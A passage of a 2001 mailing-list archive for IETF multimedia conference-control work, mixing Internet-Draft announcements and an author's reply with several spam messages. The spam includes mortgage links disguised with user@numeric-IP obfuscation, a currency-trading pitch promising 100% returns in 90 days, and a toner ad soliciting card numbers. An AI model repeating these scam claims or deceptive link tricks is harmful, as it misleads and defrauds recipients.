	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010219135444.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-comedia-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010219135444.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Feb 20 07:28:17 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA13989
	for confctrl-outgoing; Tue, 20 Feb 2001 07:28:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA13984
	for <confctrl@zephyr.isi.edu>; Tue, 20 Feb 2001 07:28:16 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1KFSFs21531
	for <confctrl@isi.edu>; Tue, 20 Feb 2001 07:28:15 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13774;
	Tue, 20 Feb 2001 10:28:14 -0500 (EST)
Message-Id: <200102201528.KAA13774@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdpng-req-00.txt
Date: Tue, 20 Feb 2001 10:28:14 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Requirements for Session Description and Capability 
                          Negotiation
	Author(s)	: D. Kutscher, J. Ott, C. Bormann
	Filename	: draft-ietf-mmusic-sdpng-req-00.txt
	Pages		: 21
	Date		: 19-Feb-01
	
This document defines some terminology and lists a set of
requirements that are relevant for a framework for session
description and endpoint capability negotiation in multiparty
multimedia conferencing scenarios.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdpng-req-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdpng-req-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdpng-req-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010219135453.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdpng-req-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdpng-req-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010219135453.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Feb 20 09:27:52 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA22303
	for confctrl-outgoing; Tue, 20 Feb 2001 09:27:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA22298
	for <confctrl@zephyr.isi.edu>; Tue, 20 Feb 2001 09:27:51 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1KHRns15480
	for <confctrl@ISI.EDU>; Tue, 20 Feb 2001 09:27:49 -0800 (PST)
Received: from duennmann.tzi.org.informatik.uni-bremen.de (rasen.informatik.uni-bremen.de [134.102.218.99])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f1KHRji26547
	for <confctrl@ISI.EDU>; Tue, 20 Feb 2001 18:27:46 +0100 (MET)
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-sdpng-req-00.txt
References: <200102201528.KAA13774@ietf.org>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 20 Feb 2001 18:29:03 +0100
In-Reply-To: Internet-Drafts@ietf.org's message of "Tue, 20 Feb 2001 10:28:14 -0500"
Message-ID: <m38zn1clgg.fsf@duennmann.tzi.org>
Lines: 34
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "I" == Internet-Drafts  <Internet-Drafts@ietf.org> writes:

    I> A New Internet-Draft is available from the on-line Internet-Drafts directories.
    I> This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

    I> 	Title		: Requirements for Session Description and Capability 
    I>                           Negotiation
    I> 	Author(s)	: D. Kutscher, J. Ott, C. Bormann
    I> 	Filename	: draft-ietf-mmusic-sdpng-req-00.txt
    I> 	Pages		: 21
    I> 	Date		: 19-Feb-01

Folks,

we already have a newer version, since we have received some
last-minute contributions that we wanted to include.

Unfortunately, the backlog of the 00-submission queue does not seem to
be very large, so I am not sure if this updated version will make it
into the archives (probably not). Maybe we will have to submit a 01
version...

Anyway, for now, please use this URL for obtaining the draft:

http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/drafts/draft-ietf-mmusic-sdpng-req-00.txt

There is also an HTML version:

http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/drafts/draft-ietf-mmusic-sdpng-req-00.html
	
-- 
Sorry for the confusion,

	Dirk


From confctrl-owner  Thu Feb 22 04:56:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA29119
	for confctrl-outgoing; Thu, 22 Feb 2001 04:56:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA29114
	for <confctrl@zephyr.isi.edu>; Thu, 22 Feb 2001 04:56:55 -0800 (PST)
Received: from exchange.foxcomwireless.com (exchange.foxcomwireless.com [62.0.9.26])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1MCurq23117;
	Thu, 22 Feb 2001 04:56:53 -0800 (PST)
Received: from firewall.netvision.net.il (192.168.10.245 [192.168.10.245]) by exchange.foxcomwireless.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id F3D3DSN8; Thu, 22 Feb 2001 14:42:09 +0200
To: @isis.sunderland.ac.uk
Subject: Mortgage Rates DROP! Lenders COMPETE for your Business!! -ejcqa
From: geroge547@usa.net
Date: Wed, 21 Feb 2001 21:07:49 -0800
Content-Type: text/html;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
Message-Id: <6fps5.lvco6wxomj0uxkbb8e0@16xg7c.localhost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>

<head>

<META NAME="GENERATOR" CONTENT="Arachnophilia 3.9">
<META NAME="FORMATTER" CONTENT="Arachnophilia 3.9">

<title>Lender's Network</title>

<style fprolloverstyle>A:hover {color: #FF0000}

</style>

</head>

<body bgcolor="tan" background="" link="#0000ff" vlink="#800080" 
alink="#ff0000">

<B><CENTER><FONT SIZE="5" COLOR="#000000" FACE="Times New 
Roman"><U><B><CENTER>The Lenders Network!</CENTER></B></U></FONT></CENTER></B>

<th align="center" nowrap width="334" height="190" valign="top">
<p>
<h3 align="center"><font color="#000000"><font face="Tahoma"> Where mortgage 
lenders compete for

</font><b><i><u><font face="Tahoma"> your</font></u></i></b><font 
face="Tahoma">

 business!
<center><h3><font color=#0000ff>Current Information For</h3></center>
<SCRIPT language=JavaScript>
<!--

// Begin

var months=new Array(13);

months[1]="January";

months[2]="February";

months[3]="March";

months[4]="April";

months[5]="May";

months[6]="June";

months[7]="July";

months[8]="August";

months[9]="September";

months[10]="October";

months[11]="November";

months[12]="December";

var time=new Date();

var lmonth=months[time.getMonth() + 1];

var date=time.getDate();

var year=time.getYear();



// Y2K Fix by Isaac Powell

// http://onyx.idbsu.edu/~ipowell



if ((navigator.appName == "Microsoft Internet Explorer") && (year < 2000))

year="19" + year;

if (navigator.appName == "Netscape")

year=1900 + year;

document.write("<center>" + lmonth + " ");

document.write(date + ", " + year + "</center>");

// End

// --></SCRIPT>
</font>
<table border="0" width="750">

  <tr>

    <td width="389" height="190" valign="top"><b><font face="Arial" 
color="#000000"><br>

      The "Lenders Network" is a 100% FREE TO BUYER Service.  Fill in our <a 
href="http://408.315.326.29-pdvacne-kkosxckx-mdbdbx.htm@3575177544/getloans/?
redirect=free.prohosting.com/lwrnzl/rzdxikd/syvl.htm">

 <i>5 Minute quote request form</i></a> and we will instantly submit your 
loan request to

      our competing lenders!</font></b><p><font face="Arial" 
color="#000000">The<b>

      financial experts</b> comprising the "Lender's Network" represent 
hundreds of loan programs, <br>
including</font></p>

      <blockquote>
        <blockquote>
          <ul>
            <li><b> <font face="Arial" color="#000000"> purchase 
loans</font></b></li>
            <li><b><font face="Arial" 
color="#000000">refinance</font></b></li>
            <li><b><font face="Arial" color="#000000">debt
              consolidation</font></b></li>
            <li><b><font face="Arial" color="#000000">home improvement&nbsp;
</font></b></li>
            <li><b><font face="Arial" color="#000000">second 
mortgages</font></b></li>
            <li><b><font face="Arial" color="#000000">no income
              verification</font></b></li>
          </ul>
        </blockquote>
      </blockquote>

		<td>
			<p><font face="Arial">Our Network of Lenders are <b><u>Licensed and 
Registered</u></b> to do business in all 50 U.S. States.  You will often be 
<b><u>contacted with an offer</u></b> the very same day you fill out the form!
<P>

<u><b><font color=#0000ff><a href="http://408.315.326.
29-pdvacne-kkosxckx-mdbdbx.htm@3575177544/getloans/?redirect=free.prohosting.
com/lwrnzl/rzdxikd/syvl.htm">NEVER SETTLE FOR A SINGLE QUOTE!
</a></font></b></u><p>


<p><font face="Arial"> You can save <i><b><u>Thousands Of Dollars</u></b></i> 
over the course of your loan with just a 1/4 of 1% Drop in your rate!  The 
information you provide to
our extensive database of <b>Financial Experts</b> will result in offer's 
meeting the exact criterion you requested.</font><br><p>

<font color=#0000ff><b><a href="http://408.315.326.29-pdvacne-kkosxckx-mdbdbx.
htm@3575177544/getloans/?redirect=free.prohosting.com/lwrnzl/rzdxikd/syvl.
htm">Get MULTIPLE OFFER'S and get the loan you want....and DESERVE!
</a></b></font><br>
		</td>


      </p>

</table>

<p>

When you <a href="http://408.315.326.29-pdvacne-kkosxckx-mdbdbx.
htm@3575177544/getloans/?redirect=free.prohosting.com/lwrnzl/rzdxikd/syvl.
htm"><font color="#0000ff">Click Here</font></a>, expect as many as 3 OFFERS 
from professionally licensed Mortgage Broker's...tailored to meet YOUR needs.  
Compare and CHOOSE! 

<hr WIDTH="100%">

<center>Email List Removal
<br><b><a href="mailto: coaster33@uole.com?subject=remove">Click Here</a></b></center>

</body>
</html>




From confctrl-owner  Thu Feb 22 05:59:14 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA02147
	for confctrl-outgoing; Thu, 22 Feb 2001 05:59:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA02112;
	Thu, 22 Feb 2001 05:59:02 -0800 (PST)
Received: from webserver.tovices.co.kr (tovices.co.kr [203.236.90.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1MDwSq00523;
	Thu, 22 Feb 2001 05:58:29 -0800 (PST)
Received: from BILLYBOBTHOMAS_[205.184.255.171] ([205.184.255.171])
          by webserver.tovices.co.kr (Lotus Domino Build 166.1)
          with SMTP id 2001022215364552:10473 ;
          Thu, 22 Feb 2001 15:36:45 +0900 
Received: from matematicas.unal.edu.co by BILLYBOBTHOMAS with ESMTP; Thu, 22 Feb 2001 01:20:00 -0600
To: <howard@5Business.cc>
From: kurt.winterstein@8848.net
Subject: Invest in the next big money maker                         2946
Date: Thu, 22 Feb 2001 01:19:54 -0600
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
Reply-To: johnboy@5Business.cc
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
X-MIMETrack: Itemize by SMTP Server on webserver/TOVICES(Release 5.0|1999. 4. 14) at
 2001-02-22 03:36:47 PM,
	Serialize by Router on webserver/TOVICES(Release 5.0|1999. 4. 14) at
 2001-02-22 11:12:01 PM,
	Serialize complete at 2001-02-22 11:12:01 PM
Message-ID: <0000063e7b43$00001612$00000b82@matematicas.unal.edu.co>
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>

<FONT face=3D"MS Sans Serif">
<FONT size=3D2>
<FONT color=3D"#FF0000"><B> Enter Now!!<BR>
<BR>
</B></FONT> Do You Have The Yen To Be a A Millionaire?<BR>
<BR>
100% return in less than 90 days!<BR>
<BR>
Unique Strategy Trading in the International Currency Markets!<BR>
<BR>
Largest MarketPlace in the World!<BR>
<BR>
Get our Reports, Charts and Strategies on the U.S. Dollar vs<BR>
Japanese yen and euro dollar.<BR>
<FONT color=3D"#FF0000"><B> <BR>
</B></FONT> <BR>
Simply complete this form and you will receive<BR>
your "FREE" No obligation information package on<BR>
currency trading and automatically be entered into<BR>
our monthly cash drawing of 
<FONT color=3D"#008000"><B> $1000.00</B></FONT> .<BR>
<BR>
Contact Us Today!<BR>
<BR>
<a href=3D"http://207.225.188.244/FreeHosting/567912/money/default.asp">cl=
ick here</a><BR>
<BR>
<BR>
<BR>
<BR>
To be removed:ram223@desertmail.com<BR>
<BR>
</FONT></FONT>
</BODY>
</HTML>



From confctrl-owner  Mon Feb 26 04:10:24 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA22482
	for confctrl-outgoing; Mon, 26 Feb 2001 04:10:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA22477
	for <confctrl@zephyr.isi.edu>; Mon, 26 Feb 2001 04:10:22 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1QCAKq23083
	for <confctrl@isi.edu>; Mon, 26 Feb 2001 04:10:21 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05748;
	Mon, 26 Feb 2001 07:10:19 -0500 (EST)
Message-Id: <200102261210.HAA05748@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-call-control-00.txt
Date: Mon, 26 Feb 2001 07:10:19 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: An Mbus Profile for Call Control
	Author(s)	: J. Ott et al.
	Filename	: draft-ietf-mmusic-mbus-call-control-00.txt
	Pages		: 37
	Date		: 23-Feb-01
	
This document defines an Mbus application profile for call control
services. This application profiles is designed to provide the most
common basic services of call signaling protocols like SIP[3],
H.323/Q.931[4] related to call setup and tear down but also defines
a set of optional Mbus commands for supplementary services. The
targeted applications include gateway and endpoint decomposition and
remote controlling of call signaling engines.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-call-control-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-call-control-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-call-control-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010223131559.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-call-control-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-call-control-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010223131559.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Feb 26 04:10:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA22499
	for confctrl-outgoing; Mon, 26 Feb 2001 04:10:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA22494
	for <confctrl@zephyr.isi.edu>; Mon, 26 Feb 2001 04:10:29 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1QCARq23089
	for <confctrl@isi.edu>; Mon, 26 Feb 2001 04:10:27 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05770;
	Mon, 26 Feb 2001 07:10:25 -0500 (EST)
Message-Id: <200102261210.HAA05770@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-guidelines-00.txt
Date: Mon, 26 Feb 2001 07:10:25 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The Message Bus: Guidelines for Application Profile 
                          Writers
	Author(s)	: D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-guidelines-00.txt
	Pages		: 49
	Date		: 23-Feb-01
	
This memo defines a list of conventions for terminology, algorithms
and procedures for interaction models that are useful for
applications using the Message Bus (Mbus) [1]. These conventions are
intended as guidelines for designers of Mbus application profiles
and Mbus implementations/applications

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-guidelines-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-guidelines-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-guidelines-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010223131609.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-guidelines-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-guidelines-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010223131609.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Feb 26 06:45:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA02783
	for confctrl-outgoing; Mon, 26 Feb 2001 06:45:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA02759
	for <confctrl@zephyr.isi.edu>; Mon, 26 Feb 2001 06:45:07 -0800 (PST)
Received: from marble.rexelusa.com ([12.18.100.217])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1QEj7q11904
	for <confctrl@isi.edu>; Mon, 26 Feb 2001 06:45:07 -0800 (PST)
Message-Id: <200102261445.f1QEj7q11904@tnt.isi.edu>
Received: from ddcfirewall.Rexelusa.com (firewall1.rexelusa.com [10.1.1.25]) by marble.rexelusa.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id FQ6A5K44; Sun, 25 Feb 2001 14:56:15 -0600
To: happyguy@republic.com
Date: Sun, 25 Feb 01 15:33:35 EST
From: toner4@e247.com
Subject: toner supplies
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

PLEASE FORWARD TO THE PERSON
RESPONSIBLE FOR PURCHASING
YOUR LASER PRINTER SUPPLIES


**** VORTEX  SUPPLIES ****

-SPECIALS OF THE DAY ON LASER TONER SUPPLIES AT DISCOUNT PRICES--

 
LASER PRINTER TONER CARTRIDGES
COPIER AND FAX CARTRIDGES

WE ARE -->THE<-- PLACE TO BUY YOUR TONER CARTRIDGES BECAUSE YOU
SAVE UP TO 30% FROM OFFICE DEPOT'S, QUILL'S OR OFFICE MAX'S EVERY DAY
LOW PRICES

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
CUSTOMER SERVICE: 1-888-248-2015
E-MAIL REMOVAL LINE: 1-888-248-4930 

UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.

PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).


IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER
NO SHIPPING CHARGES FOR ORDERS $49 OR OVER
ADD $4.75 FOR ORDERS UNDER $49.
C.O.D. ORDERS ADD $4.5 TO SHIPPING CHARGES.

FOR THOSE OF YOU WHO REQUIRE MORE INFORMATION ABOUT OUR COMPANY
INCUDING FEDERAL TAX ID NUMBER, CLOSEST SHIPPING OR CORPORATE ADDRESS IN THE
CONTINENTAL U.S.  OR  FOR CATALOG  REQUESTS PLEASE CALL OUR CUSTOMER
SERVICE LINE  1-888-248-2015 
 

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 

(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)
                                 
HEWLETT PACKARD: (ON PAGE 2)
                                   
ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)-------------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)-----------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)--$44
ITEM #6  LASERJET SERIES  5SI, 5000 (29A)------------------$95
ITEM #7  LASERJET SERIES  2100 (96A)-------------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-----------------------$145
ITEM #9  LASERJET SERIES  5L/6L (3906A0------------------$35
ITEM #10 LASERJET SERIES  4V-------------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)-------------------------$72
ITEM #12 LASERJET SERIES 3SI/4SI (91A)--------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-----------------------$49

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)------$54
ITEM #16  LASERFAX (FX3)------------------------$59
ITEM #17  LASERFAX (FX4)------------------------$54

LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD---------$105
OPTRA E----------------------------------------------------$59
OPTRA N--------------------------------------------------$115
OPTRA S--------------------------------------------------$165
-
EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000-------$105
ACTION LASER 1000,1500-------------------------$105

CANON PRINTERS (ON PAGE 5)

 PLEASE CALL FOR MODELS AND UPDATED PRICES
 FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------$49 
LASER WRITER SELECT 300,320,360---------$74
LASER WRITER 300 AND 320----------------------$54
LASER WRITER NT, 2NT------------------------------$54
LASER WRITER 12/640--------------------------------$79



CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)---------$54
LASERFAX 5000,7000 (FX2)----------------------$54
LASERFAX 8500,9000 (FX4)----------------------$54


CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720 and 760 (E-40)--------$89

IF YOUR CARTRIDGE IS NOT LISTED CALL CUSTOMER SERVICE AT 1-888-248-2015 

90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.


From confctrl-owner  Tue Feb 27 00:27:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA28327
	for confctrl-outgoing; Tue, 27 Feb 2001 00:27:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA28302;
	Tue, 27 Feb 2001 00:27:25 -0800 (PST)
Received: from firewall.cocomat.gr (dns.cocomat.gr [194.219.157.34])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1R8R0q19206;
	Tue, 27 Feb 2001 00:27:01 -0800 (PST)
Received: from e5-kanc-dp-1-36.espire.net_[216.84.245.163] (e5-kanc-dp-1-36.espire.net [216.84.245.163])
	by firewall.cocomat.gr (8.8.7/8.8.7) with SMTP id KAA20988;
	Tue, 27 Feb 2001 10:23:21 GMT
From: andreak41@spire.com
Received: from alpha.futurenet.co.za by e5-kanc-dp-1-36.espire.net with ESMTP; Tue, 27 Feb 2001 02:25:45 -0600
Message-ID: <000033d55579$000079b5$00004360@alpha.futurenet.co.za>
To: <joe454@hongkong.com>
Subject: Invest in your future..now                         17248
Date: Tue, 27 Feb 2001 02:25:43 -0600
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
